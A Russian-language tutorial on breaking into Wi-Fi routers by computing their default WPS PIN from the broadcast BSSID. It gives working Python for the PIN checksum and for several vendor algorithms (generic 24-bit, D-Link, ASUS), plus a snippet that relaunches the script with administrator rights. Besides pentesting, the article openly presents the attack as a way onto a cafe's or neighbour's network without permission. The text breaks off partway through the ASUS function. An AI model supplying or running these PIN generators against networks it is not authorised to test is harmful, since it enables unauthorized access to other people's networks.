Взлом Wi-Fi

Взлом Wi-Fi


Бывает, что возникает необходимость подключиться к Wi-Fi, не зная пароль, — скажем, когда ты сидишь в кафе и стесняешься спросить его или, например, когда тебя наняли, чтобы провести пентест сети организации. Технология WPS уже давно помогает хакерам и в том и в другом. В этой статье мы посмотрим, как самостоятельно реализовать атаку, основанную на слабостях алгоритмов генерации WPS PIN.

Большинство современных роутеров поддерживает стандарт WPS (Wi-Fi Protected Setup), который позволяет за секунды установить безопасное соединение между устройством и роутером, минуя этап настройки шифрования и ввода пароля. Устройства подключаются по отдельному восьмизначному ключу WPS PIN, который состоит из цифр. Восьмая цифра — дайджест.


Из всего разнообразия методов поблагодарить соседа взлома беспроводных точек доступа с WPS можно выделить следующие:


• подбор ПИН-кода или ключа безопасности методом грубой силы;

• использование уязвимостей реализации;

• социальная инженерия;

• использование слабостей генерации ПИН-кодов.

В этой статье мы остановимся на последнем методе из списка.


Атака WPS Pixie Dust уже морально устарела, однако и сегодня мне встречаются подверженные ей роутеры. Проблема кроется в генерации случайных чисел и позволяет не ломать все восемь цифр в лоб, а угадывать лишь четыре из них, так как оставшиеся можно получить из ответов роутера.

Откуда берут стандартный PIN


Когда мы покупаем роутер, в нем уже содержится полученный специальным алгоритмом WPS PIN для первичного подключения к маршрутизатору через WPS. WPS PIN состоит из восьми цифр. Как производители его получают? Очевидно, что необходимо нечто уникальное для идентификации и генерации различных значений. Правильно — это MAC устройства, который мы можем получить из широковещательного BSSID.


BSSID (Basic Service Set Identifier) — уникальный идентификатор беспроводной сети. Зачастую BSSID совпадает с адресом устройства Ethernet MAC.

Генерация WPS PIN на примере


Как ты уже понял, все начинается с BSSID. Подключаем к сети нашу точку доступа




Анализируем любым удобным способом (например, Dumpper).


 

Dumpper внятным языком рассказывает нам о близлежащих беспроводных сетях


BSSID получен: C4:6E:1F:6A:8D:04.


Настало время приключений: открываем браузер и начинаем бороздить различные (в том числе зарубежные) сайты и форумы, чтобы узнать, как работают алгоритмы генерации ПИН-кодов у конкретного производителя сетевого оборудования. Если же лень сильнее интереса, то всегда можно «выдернуть» эти функции из сторонних программных продуктов с открытым исходным кодом.


Предположим, мы нашли, что большинство стареньких роутеров этого вендора используют алгоритм генерации ПИН-кода из последних трех октетов MAC-адреса устройства: 24-bit PIN = MAC[7..12].


Вот реализация этого алгоритма на Python


Код:

from math import floor

MAC = 'C46E1F6A8D04'

One = Two = (int(MAC, 16) & 0xFFFFFF) % 10000000

Var1 = 0

while Two:

  Var1 += 3 * (Two % 10)

  Two = floor(Two / 10)

  Var1 += Two % 10

  Two = floor(Two / 10)

Var2 = (One * 10) + ((10 - (Var1 % 10)) % 10)

Var3 = str(int(Var2))

result = Var3.zfill(8)

Результатом работы скрипта будет ПИН-код 69829161. Проверим его достоверность


 

Полученный WPS PIN идентичен стандартному (заводскому)


Подготовка и требования


Приступим. При разработке собственной утилиты для тестирования беспроводных точек доступа нам потребуется:


• Windows 7 и выше;

• Python 3 и выше;

• удобная IDE;

• любимый браузер;

• личный маршрутизатор Wi-Fi с технологией WPS «для пыток»;

• WpsWin (входит в состав того самого Dumpper);

• IDA и Hex-Rays Tool.

Сразу, забегая вперед, скажу, что запускать готовый скрипт нужно будет с правами администратора. Можно с этим либо согласиться и перейти непосредственно к разработке, либо читать дальше.



Автозапуск с правами администратора


Для автозапуска мы будем использовать следующий код:

Код:

import ctypes, sys

if ctypes.windll.shell32.IsUserAnAdmin():

  if __name__ == "__main__":

   main()

else:

  ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, __file__, None, 1)

Теперь при попытке запустить скрипт вызов будет передан на UAC (если активен) и откроется новое окно терминала, где наш код выполнится от имени администратора.


Разработка


Прежде всего добавим алгоритм подсчета дайджеста MAC-адреса (он уже был выше):

Код:

from math import floor

def checksum(mac):

  mac %= 10000000

  var = 0

  temp = mac

  while temp:

   var += 3 * (temp % 10)

   temp = floor(temp / 10)

   var += temp % 10

   temp = floor(temp / 10)

  return (mac * 10) + ((10 - (var % 10)) % 10)

А также несколько функций генерации заветных ПИН-кодов.


Это далеко не полный список существующих алгоритмов, поэтому оставшиеся варианты будут твоим домашним заданием

Код:

def pin24(BSSID):

  temp = int(BSSID,16) & 0xFFFFFF

  temp = checksum(temp)

  temp = str(int(temp))

  return temp.zfill(8)


def pinDLink(BSSID):

  temp = (int(BSSID, 16) & 0xFFFFFF) ^ 0x55AA55

  temp ^= ((temp & 0xF) << 4) | ((temp & 0xF) << 8) | ((temp & 0xF) << 12) | ((temp & 0xF) << 16) | ((temp & 0xF) << 20)

  temp %= 10000000

  if temp < 1000000:

   temp += ((temp % 9) * 1000000) + 1000000

  temp = checksum(temp)

  temp = str(int(temp))

  return temp.zfill(8)


def pinDLinkInc1(BSSID):

  temp = int(BSSID, 16) + 1

  return pinDLink(hex(temp))


def pinASUS(BSSID):

  temp = format(int(BSSID, 16), '02x')

  temp = str(temp).zfill(12)

  var = [int(temp[0:2], 16), int(temp[2:4]


Report Page